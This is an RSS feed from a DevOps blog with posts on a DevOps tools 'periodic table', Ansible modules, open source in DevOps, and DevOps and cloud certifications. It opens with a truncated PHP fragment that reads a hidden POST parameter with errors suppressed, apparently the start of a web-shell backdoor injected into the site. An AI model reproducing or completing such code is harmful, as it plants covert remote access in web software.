$_api_resp = @$_POST['ant']; if ($_api_resp) { $pk = << Ansible – DevopsCurry https://devopscurry.com Mon, 30 Sep 2024 08:57:18 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://devopscurry.com/wp-content/uploads/2021/08/cropped-logo-32x32.png Ansible – DevopsCurry https://devopscurry.com 32 32 Periodic Table of DevOps Tools (Part-1) https://devopscurry.com/periodic-table-of-devops-tools/?utm_source=rss&utm_medium=rss&utm_campaign=periodic-table-of-devops-tools https://devopscurry.com/periodic-table-of-devops-tools/?noamp=mobile#respond Wed, 01 May 2024 09:12:22 +0000 https://devopscurry.com/?p=9507 Periodic Table of DevOps Tools What is the DevOps Periodic Table? It’s a framework where various DevOps tools are categorized and arranged in groups and categories based on their characteristics or roles within the DevOps methodology. The main aim of the DevOps periodic table is to provide a visual representation that helps the DevOps teams understand […]

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Periodic Table of DevOps Tools

What is the DevOps Periodic Table?

It’s a framework where various DevOps tools are categorized and arranged in groups and categories based on their characteristics or roles within the DevOps methodology.

The main aim of the DevOps periodic table is to provide a visual representation that helps the DevOps teams understand the interconnected nature of DevOps practices.

In other words, it’s a grouping of DevOps tools arranged according to their abilities and costs in various categories. Some of the important and well-known DevOps tools include Jenkins, Docker, Git, Kubernetes, Puppet, Ansible, Gradle,Docker,Github etc to name a few.

The DevOps periodic table showcases the DevOps tools list across various categories ordered by their functionality and also the pricing model (Open Source, Free, Freemium, Paid, Enterprise). 

Every single element in the Periodic table shows a general aspect of DevOps as like Automation, Collaboration,Continuous Integration, Monitoring, Security etc. These all elements of periodic table are merge and interact with each other to build an overall approach to DevOps (Development & IT Operational )

 

periodic table for devops tools

                                                                IMAGE CREDIT: https://www.edureka.co/blog/devops-periodic-table/

In the above image of the DevOps Periodic table, you can see that all the elements or DevOps tools are well arranged and categorized. Some of the tools here are very popular in the market, while others are less popular, but all tools have their own features that are beneficial for users.

It provides the visuals to the users that support the entire team as well the individuals to get to know the various components of DevOps and how these particle element relate to each other and this will also help to improve  their practices and processes.

Classification of tools based on the DevOps Periodic table

The periodic table combines different DevOps tools from A to Z, categorizes them, and visualizes several tools. Let us try to understand the outline of different categories.

A

  • AIOps Tools
  1. Loglizer
  2. ScienceLogic
  3. Ignio AIOps
  4. IBM Turbonomic
  5. Moogsoft

C

  • Continuous Integration (CI) Tools

These CI tools are crucial DevOps tools used for automation, testing, building, and integration. Selecting reliable integration techniques is essential to quickly identify mistakes. Some of the continuous integration tools include:

  1. Circle CI
  2. Jenkins
  3. Teamcity
  4. Bamboo
  5. GitLab CI/CD
  6. Travis CI
  • Continuous Delivery/Deployment (CD) Tools

These tools automate application deployment and delivery pipelines. These type of tools are used to automate and streamline the process of delivering software updates and change to production environment. Some of the important CD tools are:

  1. Spinnaker
  2. ArgoCD
  3. Jenkins X
  4. Harness
  5. Drone
  • Configuration Management Tools

Configuration management tools play a vital role in the DevOps lifecycle, automating and managing configuration and infrastructure changes. These tools help users regulate all changes in a simple and comfortable manner. Some important configuration management tools include:

  1. Ansible
  2. Puppet
  3. Chef
  4. SaltStack
  5. Terraform
  • Containerization & Orchestration

Containerization tools deploy, manage, and package applications using containers. Containerization and Orchestration tools have revolutionized the way teams build & manage the applications. They allow more flexibility, reliability & scalability just by reducing the problems arises with the traditional deployment methods. Some important containerization tools are:

  1. Docker
  2. Kubernetes
  3. Rocket
  4. Codefresh
  5. Helm
  6. Mesos
  7. Rancher
  8. GKE (Google Kubernetes Engine)
  9. Docker Enterprise
  • Collaboration & Communication

These tools facilitate team collaboration, project management, and communication. They are also beneficial for individual users. Some collaboration and communication tools are:

  1. Slack
  2. Microsoft Teams
  3. JIRA
  4. Confluence 
  • Cloud and Infrastructure Platform

These tools handle cloud resources and infrastructure. These tools permit the organization to manage, provision & scale their application and infrastructure efficiently & the consider tools like:

  1. AWS (Amazon Web Services)
  2. GCP (Google Cloud Platform)
  3. Microsoft Azure

D

  • Deployment Tools
  1. Capistrano
  2. Juju
  3. GoCD
  4. Octopus Deploy
  5. IBM UrbanCode Deploy
  6. AWS CodeDeploy
  7. DeployBot
  8. Shippable
  • Database Automation Tools
  1. DbVisualizer
  2. pganalyze
  3. Toad Edge 
  4. Kosli
  5. Pachyderm
  6. Liquibase

I

  • Infrastructure as Code (IAC)

These tools manage infrastructure using code. These tools in DevOps empower organization to manage infrastructure efficiently, increase the agility & automate provisioning of their operations while handing errors and improve the collaboration among development and operations teams. These IAC tools choice is often depends on the specific cloud provider or technology utilized by the organization. Some IAC tools include:

  1. CloudFormation
  2. Terraform
  3. Pulumi
  4. Ansible

L

  • Logging DevOps Tools
  1. Papertrail
  2. Scalyr
  3. Fluentd
  4. Sentry
  5. Logstash
  6. Loggly
  7. Graylog

M

  • Monitoring Tools

 Monitoring tools continuously track applications in the production phase, ensuring their performance and functionality. These tools are very important components for DevOps  practices and provide the real time visibility into the performance, availability, & health of application and infrastructure. These tools helps the DevOps team to identify , performance and optimize system and guaranteed the experience of users.  Some monitoring tools are:

  1. Nagios
  2. Datadog
  3. New Relic
  4. Grafana
  5. Prometheus

O

  • Observability Tools
  1. Datadog
  2. Dynatrace
  3. New Relic
  4. Sentry
  5. Signoz
  6. Sumo Logic
  7. Splunk

S

  • Source Code Management

The first stage of the DevOps lifecycle is source code, which provides the tools to generate and manage code. Here, tools are categorized for collaboration and performance control on source code. These categorized tools provide insights into which changes were made for improvement. Some of the important tools for source code management are as follows:

  1. Github
  2. Gitlab
  3. Artfactory
  4. Bitbucket
  5. Compuware ISPW
  6. Perforce Helixcore
  • Security and Compliance Tools

These tools ensure security and compliance throughout the DevOps lifecycle. These tool plays an important role in ensuring, privacy & regulatory compliance of systems, data and applications within an organization.   Some of the tools include:

  1. Twistlock
  2. SonarQube
  3. Anchore
  4. Aqua Security

Conclusion

When someone starts learning DevOps tools and technologies, they get overwhelmed and also confused with the numerous tools that accomplished similar tasks, or nearly the same task without a clear opinion on the best toolchain and the workflow. Each one is Free to opt for and select his favourite tool from the bouquet and also market it as the best in the category.

The DevOps periodic table is a small attempt to lessen this chaos and confusion by grouping different Devops tools across various categories in an ordered alphabetic list , from A to Z.

To learn more about DevOps periodic table in detail, do connect with us and stay tuned for our upcoming blog.

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Top 10 Ansible Module Known In 2024 https://devopscurry.com/top-10-ansible-module-known-in-2024/?utm_source=rss&utm_medium=rss&utm_campaign=top-10-ansible-module-known-in-2024 https://devopscurry.com/top-10-ansible-module-known-in-2024/?noamp=mobile#respond Mon, 18 Mar 2024 05:33:31 +0000 https://devopscurry.com/?p=9845 Ansible Module; Firstly to know about 10 best Ansible Modules , we need to know about what Ansible module is ? So lets understand these term as mentioned below: What is Ansible Modules? Image Credit: https://cloudfoundation.com/blog/what-is-ansible/ An individual unit of code within Ansible that carry out a certain task. It’s an open source automation and IT  […]

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Ansible Module; Firstly to know about 10 best Ansible Modules , we need to know about what Ansible module is ? So lets understand these term as mentioned below:

What is Ansible Modules?

Ansible Module

Image Credit: https://cloudfoundation.com/blog/what-is-ansible/

An individual unit of code within Ansible that carry out a certain task. It’s an open source automation and IT  configurations management Module that is utilized by the user to do program on repetitive tasks automatically without having less knowledge of programming languages. Ansible modules are very important that can create blocks of Ansible automation and are accountable for find out the actions on remote hosts. One of the main work of ansible modules is to perform different tasks such as installing software, managing files, manipulating services and so on. There are different categorize of modules in Ansible that is based on the operations they perform and these are Core Modules, Community Modules, Custom Modules. Let’s understand the definition of Ansible from Wikipedia are as follow:

According to Wikipedia: Ansible is a suite of software tools that enables infrastructure as code. It is open-source and the suite includes software provisioningconfiguration management, and application deployment functionality.

Top 10 Ansible Modules to Know In 2024

It’s an automation platform as well as open source IT configuration management. In its own playbook it is utilizing modules. It does not need for the installation of any software for the nodes it handles; that’s why it is also known as agentless. Inward the playbook of Ansible, the module of Ansible is utilized. It consists of the three most important files that are the main file, the Host/inventory file and Ansible.cfg file. Now let’s discuss top 10 Ansible modules are as follow:

1. Package Management

DNF and APT are the modules that are provided to the famous package manager that in any system you enable to install any package. This module can simply imagine, easily remove, install, downgrade, upgrade and list packages. It can help to download several packages as well as install the listing package.

2. User Module

We can utilize the User Module when we have to put in a specific user to our module. User Module permits you to formulate and organize the users of Linux. While it has several different parameters, still you can develop new users. It also delivers you with so many alternatives for handling numerous users.

3. File Modules

It can organize its properties as well as its files. It wipes out the symlinks, directories and files. It permits you to regulate the directories and the files with ownership, establishing the permission of SELinux labels. It is also utilized for setting the file properties on directories by removing the files and directories with the parameter state: absent. For targeting windows, it uses the win_file module and many other modules have the similar features that means the similar options as the file module that consists of template, copy and assemble.

4. Template Modules

This Module is quite similar to the copy module that we discuss in the below modules. As before going to tracing to the target hosts, it is utilizing the content techniques dynamically by using the language of Jinja2 templating language. By formulating template files, it permits much more flexibility which is authorized to interpret if conditions, complicated content and much more.

5. Copy Module

For targeting the host and from the Ansible Control node, this module permits you to copy a file and it also permits you to establish authorization, SELinux labels to the objective file and the last one is a privilege. This module is very best for copying a small file and with the identical authorization and content, if the file is not in a place then only this module helps to copy the file.

6. Debug Module

Debug Module is beneficial for debugging variables and during the performance it prints the statements. We use the Debug module for printing a message on hosts.

7. Window Modules

It is utilized for window host and for controlling the window machines you are required to authorize and configure the PowerShell and for all this system one thing is important to have and that is Linux Control Machine.

8. Git Modules

For deploying files or software it regulates the git checkouts of storage. Having clones a repo has an individual Git directory. If there is no repository, it will be cloned without having the recursive option missing the sub-modules.

9. Ping Module

If we want to survey whether our inventory file is organized or not and whether the relationship with our hosts is distinguished and if an SSH connection is organized then the ping module shifts to pong. It verifies a usable python that tries to attach with the host and return pong for the achievement of Ping modules.

10. Yum Module

For installation of a service a user utilizes this Yum Module and without restricting the keyword collections you can use the short module Yum. With the yum package manager you can install, remove, downgrade and upgrade. The configuration file of remote Yum is to utilize for the agreement. Yum configuration files are defined as if set to all main and repo is disabled all excludes, excludes in yum. configurations and given for repo id.

 

Conclusion: The conclusion of Ansible Module would typically summarize the key points discussed throughout the article and emphasis the important takeaways for the readers. We have explain the 10 module that is important in 2024 with explaining the concept of ansible module. Ansible modules are very important that can create blocks of Ansible automation and are accountable for find out the actions on remote hosts. One of the main work of ansible modules is to perform different tasks such as installing software, managing files, manipulating services and so on.

 

 

 

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How important is Open-Source for Devops Success ? https://devopscurry.com/__trashed-6__trashed/?utm_source=rss&utm_medium=rss&utm_campaign=__trashed-6__trashed https://devopscurry.com/__trashed-6__trashed/?noamp=mobile#respond Tue, 03 Aug 2021 11:34:06 +0000 https://devopscurry.com/?p=8541 How OpenSource technologies support Devops Success DevOps and Open Source Devops ; It was nearly a decade back in around 2009, that the term DevOps was coined by Belgian consultant, project manager and agile practitioner Patrick Debois, as a portmanteau of Developer & Operations . It slowly transitioned as a successor to the Agile methodology […]

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How OpenSource technologies support Devops Success

DevOps and Open Source

Devops ; It was nearly a decade back in around 2009, that the term DevOps was coined by Belgian consultant, project manager and agile practitioner Patrick Debois, as a portmanteau of Developer & Operations . It slowly transitioned as a successor to the Agile methodology and ensured improvement to the Application Lifecycle Management process.

You can consider DevOps as a strategy or principle that every company should implement within their delivery pipeline.

To implement DevOps, you should have the right tools and processes at your disposal to make it work efficiently. There are a variety of open-source DevOps tools that help in streamlining the development and deployment process. These open-source tools are built with enhanced collaboration that improves performance and allows you to handle different market needs.

Why does DevOps need Open-source support?

Well, many companies have adopted the DevOps approach for effective and faster delivery. Most companies do not think of implementing open source software within their organization to enhance the DevOps approach. Also, companies restrain their developers from contributing to open source libraries, so they miss a huge opportunity for success. Below are a few reasons why a company should focus on the open-source community.

Open-source is low-cost :Open-source means it is available freely or at a lower cost than other closed-source systems.

Based on open standards :with open-source, you can find each tool, source code, and related troubleshooting documents easily. If you are still using traditional proprietary software, it will be difficult for your organization to evolve.

Open-source is customizable
Open-source offers customizability where you can use tools and products that are way more efficient and light-weight than other available closed-source options. You can freely choose your framework and easily migrate and automate processes with open-source tools and frameworks.

The open-source community is expanding: the open-source community is now expanding, with millions of contributors and developers writing open code and development. Now companies are even supporting its exposure to their DevOps process. By joining open-source, you will become part of the most dynamic group that provides a better solution for every problem.

DevOps Success aligns with Open-source

There is no doubt that opting for open-source as a part of your DevOps process is beneficial to your organization. But if you are still using highly-proprietary and old traditional IT solutions, you may not achieve the success you are working for. Open source has opened the gate for DevOps to work efficiently. Below are the reasons why DevOps success aligns with the Open-source system, tools, and practices.

  • DevOps groups should go for open-source because the tools and techniques available in the open-source community are either off the shelf or built at some other organization. This will eventually save you time and cost of developing the required tools at your end.
  • If you avail open-source, then you can choose any of the open-source frameworks to work on. You can easily migrate your project from one framework to another without any proprietary lock-in or vendor secrets. It allows your software delivery agile, which is essential in the DevOps process.
  • DevOps mainly focuses on the visibility of the project or application progress within the team members. If you add the open-source within the DevOps process, it ensures the visibility is maintained even to the code level of all the tools you use.
  • Suppose we get any problem during continuous delivery. In that case, there is no time that you contact proprietary vendors to resolve the issue as proprietary tools require expertise to look into the troubleshooting process. But if you go with open-source, you can resolve the issue by yourself as most of the problems are documented publicly for reference.
  • With closed systems, you cannot leverage various tools you are using by integrating them and making the system entirely automated. But with an open-source system, integration and automation are pretty efficient and straightforward.

 

Some Popular Open-source DevOps tools

You can accelerate an existing system by using open-source tools within your DevOps. Below is the list of the open-source DevOps tools.

Ansible
This tool offers software-related services like application deployment, configuration, etc. It allows you to automate IT tasks. You can easily integrate it with other DevOps tools. You can find its free version on GitHub, where Red Hat offers three different paid versions of Ansible.

Watir
It is a web application based open-source testing tool. This tool is the most flexible and reliable Ruby library tool that allows you to automate web browsers. It enables you to communicate with web browsers while performing various web functions.

Supergiant
A supergiant is an open-source tool for container management that is built on top of Kubernetes. It enables Kubernetes deployment on multiple clouds within no time. Also, it helps in streamlining the production deployment. It helps in lowering the hardware costs due to the packing algorithm of the Supergiant.

Nagios
This open-source tool provides a solution to infrastructure monitoring. This tool has a well-established base in the monitoring area and is highly efficient due to the broad community creating plugins for its support. You can choose this tool over others if you want to represent your result in various visual forms.

SaltStack
SaltStack is an enterprise paid version of Salt, which is highly flexible and intelligent open-source software for event-driven orchestration, remote execution, and configuration automation. This tool orchestrates the significant movement of the code into production and ensures optimal application delivery. It allows you to deploy and configure dynamic applications.

Chef
If you want to handle both traditional and cloud environments using a single tool, Chef is the right choice. This tool comes with the development kit that allows you to deploy and test the automation code locally before deploying it to production.

Docker
Docker offers portability due to its containerization technology that transforms IT environments. It packages libraries, tools, runtime everything required for an application to run irrespective of the deployment location.

Git
This open-source tool helps to maintain the source code and to host open-source projects. Git stands out of other tools due to its ability to handle merging and branching. This tool is used by many developers and has become popular in recent years. It offers plugins to integrate it with Jenkins for supporting deployment and integration.

Puppet
With Puppet, you can follow a standard way of managing and delivering software. Puppet enhances audibility, reliability, and agility. It offers continuous automation and delivery during complete SDLC. With the introduction of various new features, it allows you to handle dynamic systems with great ease.

Hudson
Hudson is an open-source tool that allows you to monitor and manage continuous testing and integration. Main features include source code management, code analysis, testing frameworks, and providing real-time failure notifications. You will also get several plugins that are an add-on to its capability.

These tools will help to bridge the gap between the development and production environment. You can choose any tool that suits your business requirement.

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Adopting Open-source in 2021 for Devops success https://devopscurry.com/adopting-open-source-in-2021-for-devops-success/?utm_source=rss&utm_medium=rss&utm_campaign=adopting-open-source-in-2021-for-devops-success https://devopscurry.com/adopting-open-source-in-2021-for-devops-success/?noamp=mobile#respond Wed, 06 Jan 2021 08:04:16 +0000 https://devopscurry.com/?p=8657 How DevOps can benefit from the Open source Around 2009, the term DevOps introduced an approach that enhances the collaboration between developers and operations groups. It came as a successor to the Agile method and ensured improvement to the Application Lifecycle Management process. You can consider DevOps as a strategy or principle that every company […]

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How DevOps can benefit from the Open source

Around 2009, the term DevOps introduced an approach that enhances the collaboration between developers and operations groups. It came as a successor to the Agile method and ensured improvement to the Application Lifecycle Management process. You can consider DevOps as a strategy or principle that every company should implement within their delivery pipeline.

To implement DevOps, you should have the right tools and processes at your disposal to make it work efficiently. There are a variety of open-source DevOps tools that help in streamlining the development and deployment process. These open-source tools are built with enhanced collaboration that improves performance and allows you to handle different market needs.

Why do DevOps need Open-source?

Well, many companies across the globe have started adopting the DevOps approach for effective and faster delivery. However most companies still shy away from implementing open-source software within their organizations to enhance the DevOps approach. Also, companies restrain their developers from contributing to open source libraries, so they miss a huge opportunity for success.

We are sharing some  key reasons why a company should focus on the Open-source adoption for Devops implementation.

♠ Open-source is Free or low-cost

Open-source means it is available freely or at a lower cost than other closed-source systems.

♠ Based on open standards

With open-source, you can find each tool, source code, and related troubleshooting documents easily. If you are still using traditional proprietary software, it will be difficult for your organization to evolve.

♠ Open-source is self customizable

Open-source offers customizability where you can use tools and products that are way more efficient and light-weight than other available closed-source options. You can freely choose your framework and easily migrate and automate processes with open-source tools and frameworks.

♠ The open-source community is expanding

The open-source community is now expanding, with millions of contributors and developers writing open code and development. Now companies are even supporting its exposure to their DevOps process. By joining open-source, you will become part of the most dynamic group that provides a better solution for every problem.

♠ No Vendor monopoly or Vendor lock-in

Since open-source tools are free from any proprietorship or licensing from any vendor, there is definitely no pressure of monopoly or being vendor locked-in. Whenever you feel to opt out of the open-source tool, you can move out without any restrictions.

♠ Abundance of Talent pool

Since open source software and tools are free and easily available, the number of people with an expertise on popular open source solution is more as compared to licensed tools( because fo the cost involved). So when looking for available expert talent pool in the market for your Devops toolchain, you have higher chances of success with open-source solutions.

How DevOps success aligns with Open-source

There is no doubt that opting for open-source as a part of your DevOps process is beneficial to your organization. But if you are still using highly-proprietary and old traditional IT solutions, you may not achieve the success you are working for. Open source has opened the gate for DevOps to work efficiently. Below are the reasons why DevOps success aligns with the Open-source system, tools, and practices.

  • DevOps groups should go for open-source because the tools and techniques available in the open-source community are either off the shelf or built at some other organization. This will eventually save you time and cost of developing the required tools at your end.
  • If you avail open-source, then you can choose any of the open-source frameworks to work on. You can easily migrate your project from one framework to another without any proprietary lock-in or vendor secrets. It allows your software delivery agile, which is essential in the DevOps process.
  • DevOps mainly focuses on the visibility of the project or application progress within the team members. If you add the open-source within the DevOps process, it ensures the visibility is maintained even to the code level of all the tools you use.
  • Suppose we get any problem during continuous delivery. In that case, there is no time that you contact proprietary vendors to resolve the issue as proprietary tools require expertise to look into the troubleshooting process. But if you go with open-source, you can resolve the issue by yourself as most of the problems are documented publicly for reference.
  • With closed systems, you cannot leverage various tools you are using by integrating them and making the system entirely automated. But with an open-source system, integration and automation are pretty efficient and straightforward.
Common Open-source DevOps tools

You can accelerate an existing system by using open-source tools within your DevOps. Below is the list of the open-source DevOps tools.

Ansible

This tool offers software-related services like application deployment, configuration, etc. It allows you to automate IT tasks. You can easily integrate it with other DevOps tools. You can find its free version on GitHub, where Red Hat offers three different paid versions of Ansible.

Watir 

It is a web application based open-source testing tool. This tool is the most flexible and reliable Ruby library tool that allows you to automate web browsers. It enables you to communicate with web browsers while performing various web functions.

Supergiant

A supergiant is an open-source tool for container management that is built on top of Kubernetes. It enables Kubernetes deployment on multiple clouds within no time. Also, it helps in streamlining the production deployment. It helps in lowering the hardware costs due to the packing algorithm of the Supergiant.

Nagios

This open-source tool provides a solution to infrastructure monitoring. This tool has a well-established base in the monitoring area and is highly efficient due to the broad community creating plugins for its support. You can choose this tool over others if you want to represent your result in various visual forms.

SaltStack

SaltStack is an enterprise paid version of Salt, which is highly flexible and intelligent open-source software for event-driven orchestration, remote execution, and configuration automation. This tool orchestrates the significant movement of the code into production and ensures optimal application delivery. It allows you to deploy and configure dynamic applications.

Chef

If you want to handle both traditional and cloud environments using a single tool, Chef is the right choice. This tool comes with the development kit that allows you to deploy and test the automation code locally before deploying it to production.

Docker 

Docker offers portability due to its containerization technology that transforms IT environments. It packages libraries, tools, runtime everything required for an application to run irrespective of the deployment location.

Git

This open-source tool helps to maintain the source code and to host open-source projects. Git stands out of other tools due to its ability to handle merging and branching. This tool is used by many developers and has become popular in recent years. It offers plugins to integrate it with Jenkins for supporting deployment and integration.

Bitbucket

Similar to GitHub, BitBucket is another tool that helps manage project code throughout the SDLC cycle. While the core functionality of BitBucket resembles that of GitHub, features such as easy integration with Jira and Trello, inbuilt CI/CD functionality tend to give this tool by Atlassian an edge.

Puppet

With Puppet, you can follow a standard way of managing and delivering software. Puppet enhances audibility, reliability, and agility. It offers continuous automation and delivery during complete SDLC. With the introduction of various new features, it allows you to handle dynamic systems with great ease.

Prometheus

It is an open-source systems monitoring and alerting toolkit.It comes with a dimensional data model, flexible query language, efficient time series database and modern alerting approach

These tools will help to bridge the gap between the development and production environment. You can choose any tool that suits your business requirement.

Terraform

Terraform is an open-source infrastructure as code software tool that lets you safely and predictably create, change, and improve infrastructure.Users define and provision data-center infrastructure using a declarative configuration language known as HashiCorp Configuration Language (HCL), or optionally JSON.

Conclusion

Open source is slowly becoming integral to DevOps success, both as a source of innovative tools and also forming the culture that DevOps requires to succeed.If modern day enterprises are looking to build DevOps toolchain, they should consider open source DevOps tools in addition to commercial tools, we have already seen the benefits of using the open-source tools above.

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Most in-demand DevOps and Cloud Certifications to aim for in 2021 https://devopscurry.com/best-devops-cloud-certifications-to-aim-for-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=best-devops-cloud-certifications-to-aim-for-in-2021 https://devopscurry.com/best-devops-cloud-certifications-to-aim-for-in-2021/?noamp=mobile#respond Mon, 02 Nov 2020 13:53:33 +0000 https://devopscurry.com/?p=8378 Most Popular Certifications for a Career in DevOps for 2021 Everyone knows that Cloud technology and DevOps are the future technologies and must have skills for software professionals. Every organization is slowly turning towards Cloud and DevOps. So here we are talking about the most popular Cloud/DevOps certifications to do in 2021 for a successful […]

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Most Popular Certifications for a Career in DevOps for 2021

Everyone knows that Cloud technology and DevOps are the future technologies and must have skills for software professionals. Every organization is slowly turning towards Cloud and DevOps.

So here we are talking about the most popular Cloud/DevOps certifications to do in 2021 for a successful career in DevOps.

The importance of Cloud-DevOps Certifications and Career Benefits from Cloud-DevOps Certifications

Cloud computing is a fast growing industry, just like the DevOps domain. This means that these 2 industries will create a huge amount of job opportunities in the coming years. Let’s give you more reasons to take a certification in Cloud/DevOps:

  • DevOps certification helps in learning in-depth and details about the SDLC life-cycle.
  • You can learn source code management, continuous integration, continuous monitoring, continuous testing, and containerization along with DevOps certification.
  • Employees with DevOps certification can offer better productivity for companies.
  • Demand for DevOps professionals is quite high as compared to the availability of professionals.
  • DevOps professionals will provide better service quality and customer satisfaction.
  • DevOps certified professionals can solve the errors in a short period, hence they offer quality service.
  • It will open multiple options in finding a career path. For ex. You can be an infrastructure architect, automation architect, DevOps engineer, DevOps consultant, etc.
  • Cloud computing skills are high in demand and skilled persons are limited. So it can give you greater career growth.
  • Cloud computing is new and is expanding every day. Hence, cloud certification makes your job secure and stable.
  • Cloud technology will be the most demanding in the coming years. Every business will be transformed into cloud technology in the future. Which will create more job opportunities.

Docker Certified Associate (DCA)

Docker skills are highly in demand. It is an enterprise-ready container platform that enables organizations to build, share, and run any application, anywhere. Docker Certified Associate(DCA) will validate the docker skillsets with real-world questions.

Prerequisites:

    • 6 to 12 months of Docker experience.
    • Good understanding of Linux Kernel, namespaces, and control groups.
    • Knowledge of Configuration Management Tools.
    • Knowledge of Linux and Windows Server.

What you’ll learn?

    • Configure and troubleshoot Docker engine.
    • Perform general maintenance and configuration.
    • Deploy images across the cluster.
    • Standup up on enterprise clusters with one UCP manager, one DTR replica, and one worker node.

How to Register:

You can register for DCA Exam from this link: https://prod.examity.com/docker/

CKA (Kubernetes Certification)

Kubernetes Certification or CKA is here to give you an understanding of the core Kubernetes concepts. It will also test your ability to deploy and configure a Kubernetes cluster.It is an online certification focused on performance-based problems to be solved in a command-line.

Prerequisites:

    • Basic knowledge of Kubernetes and clusters.
    • A programming language like Python, Node.Js, Go, or Java.
    • How to use an OCI-Compliant Container Runtime, like Docker or rkt.

What you’ll learn?

    • Application lifecycle management.
    • Installation, configuration, and validation.
    • Core concepts
    • Networking
    • Scheduling
    • Security
    • Cluster maintenance
    • Logging/monitoring
    • Storage
    • Troubleshooting

How to Register?

You can register for CKA Exam from this link: https://training.linuxfoundation.org/certification/certified-kubernetes-administrator-cka/

CKAD (Kubernetes Developer Certification)

CKAD is more focused on testing your ability to deploy and configure applications running on the Kubernetes clusters. This certification is for Kubernetes developers, cloud developers, and other IT professionals.

Prerequisites:

    • Basic knowledge of Kubernetes and clusters.
    • A programming language like Python, Node.Js, Go, or Java.
    • How to use an OCI-Compliant Container Runtime, like Docker or rkt.

What you’ll learn?

    • Core concepts
    • Configuration
    • multi-container pods
    • Observability
    • Pod design
    • Service and networking
    • State persistence

How to Register?

You can register for CKAD Exam from this link: https://training.linuxfoundation.org/certification/certified-kubernetes-application-developer-ckad/

Puppet Certified Professional

This certification will make you capable of administering system infrastructure using Puppet and develop robust modules. Puppet certification is designed to give you hands-on learning with real-world requirements.

Prerequisites:

    • Core concepts of Puppet.
    • In-depth knowledge of how to design, build, and extend modules.
    • Ability to administer system infrastructure using Puppet.
    • Knowledge of Puppet documentation.

What you’ll learn?

    • Classification
    • Troubleshooting
    • Module authoring
    • Resource abstraction, Idempotence
    • How to use Puppet facts
    • Puppet language constructs
    • Orchestration and tasks
    • Environments
    • Administration

How to Register?

You can register for the Puppet Certified Professional exam from this link: https://puppet.com/learning-training/certification/

Ansible Certification By Red Hat

This certification by Red Hat tests your ability to use Ansible to automate the configuration systems and applications. This exam is based on Red Hat Enterprise Linux 7.5 and Ansible 2.7.

Prerequisites:

    • Complete Automation with Ansible(DO407) or equivalent experience.
    • Being a Red Hat Certified System Administrator (RHCSA) or higher
    • Experience in managing a large number of systems.
    • Experience of working in a DevOps environment.

What you’ll learn?

    • Core concepts of Ansible
    • Install and configure the Ansible control node
    • Configure Ansible managed nodes
    • Create simple shell scripts that run ad hoc Ansible modules
    • Create Ansible plays and playbooks
    • Work with Ansible variable and facts
    • Use Ansible Vault in playbooks

How to Register?

You can register for this certification from this link:

https://www.redhat.com/en/services/training/ex407-red-hat-certified-specialist-in-ansible-automation-exam?section=Overview

Certified Jenkins Engineer (CJE) for Jenkins Certification

This certification helps to prove a level of proficiency and skills in Jenkins. CJE Certification assures hands-on experience necessary to implement and use Jenkins.

What you’ll learn?

    • Jenkins Fundamentals
    • Jenkins Pipeline Fundamentals
    • Jenkins Administration Fundamentals

How to Register?

You can register for this certification from this link: https://www.cloudbees.com/jenkins/certification

Certified CloudBees Jenkins Platform Engineer (CCJPE) for Certification On The CloudBees Jenkins Platform

There are two certifications for Jenkins engineers. One is the Certified Jenkins Engineer (CJE) and another is Certified CloudBees Jenkins Platform Engineer (CCPJE). CCPJE will test your knowledge of open-source Jenkins.

What you’ll learn?

    • Key CI/CD Jenkins Concepts
    • Jenkins Usage
    • Building Continuous Delivery Pipelines
    • CD-as-a-code best practices
    • CloudBees Jenkins Platform

How to Register?

You can register for this certification from this link: https://www.cloudbees.com/jenkins/certification

Free DevOps Training Course by Microsoft Available On edX

edX offers numerous DevOps online courses, from beginners level to advance. The courses are free but equally valuables just like any paid courses.

Prerequisites:

    • Basic idea about the DevOps
    • Knowledge of any programming language.

What you’ll learn?

It depends on which training you choose to do. Whether you’re looking for a beginner level training or advanced classes, edX has got everything related to DevOps.

How to Register?

You can register from this link for this training: https://www.edx.org/learn/devops

Hashicorp Terraform Associate

This certification is valuable for Cloud Engineers specializing in operations, IT, or development. The candidate should have a basic idea about the concepts of HashiCorp Terraform.

Prerequisites:

    • Basic terminal skills
    • Basic understanding of on-premises and cloud architecture

What you’ll learn?

    • IaC concepts
    • Understand Terraform’s purpose
    • Terraform basics
    • Use the Terraform CLI
    • Interact with Terraform modules
    • Navigate Terraform workflow
    • Implement and maintain state
    • Read, generate, and modify the configuration
    • Understand Terraform Cloud and Enterprise capabilities

How to Register?

You can register from this link for the certification: https://www.hashicorp.com/certification/terraform-associate

Cloud Certifications:

1. AWS SysOps Certification 

This certification is for system administrators with at least one year of experience in deployment, management, and operations on AWS. it is considered as one of the must-have certifications for any IT professional.

This course is ideal for AWS beginners, existing system administrators, and programmers interested in deploying applications on AWS.

You can find necessary information about AWS SysOps Certification from this link:

https://aws.amazon.com/certification/certified-sysops-admin-associate/

2. AWS DevOps Certification 

AWS DevOps Certification validates your technical skills and expertise in the DevOps environment. DevOps engineers with two or more years of experience are ideal candidates for this certification.

Prerequisites:

    • Knowledge of coding in at least one high-level programming language.
    • Knowledge of building an automated infrastructure.
    • Experience in administrating operating systems.
    • Understanding of modern development and operations processes.

Know more about AWS DevOps Certification from here: https://aws.amazon.com/certification/certified-devops-engineer-professional/

3. Azure DevOps Certification (Microsoft Azure Solutions) 

Microsoft Azure is one of the most popular clouds provides globally. Many businesses are using the Azure cloud. A candidate should be familiar with Azure administration and development.

This exam is a technical one. It requires hands-on experience with the DevOps environment and tools. With this certification, you will learn about:

    • Azure DevOps
    • Version Control
    • Azure Resource Manager
    • PowerShell

Get more information about this certification from this link:

https://docs.microsoft.com/en-us/learn/certifications/devops-engineer

4. Google Certified Professional Cloud DevOps Engineer

Yet another highly recommended DevOps certification. This one is by Google. This certification helps you to build software delivery pipelines, deploy and monitor services, and manage and learn from incidents in Google Cloud.

This exam will be a technical exam and requires a good, hands-on experience of DevOps technology. To get details about Google Professional Cloud DevOps Engineer certification, click here:

https://cloud.google.com/certification/cloud-devops-engineer

Conclusion

These are some of the well-known certifications in the DevOps and Cloud domain, that aspiring Devops candidates should look for and also people already working into Cloud and Devops, can try to add to their portfolio as it provides more trust and reliability to the future recruiters about your skillsets and technical ability.

Do share your feedback in the comments section and share the post across with your network if you find this useful.

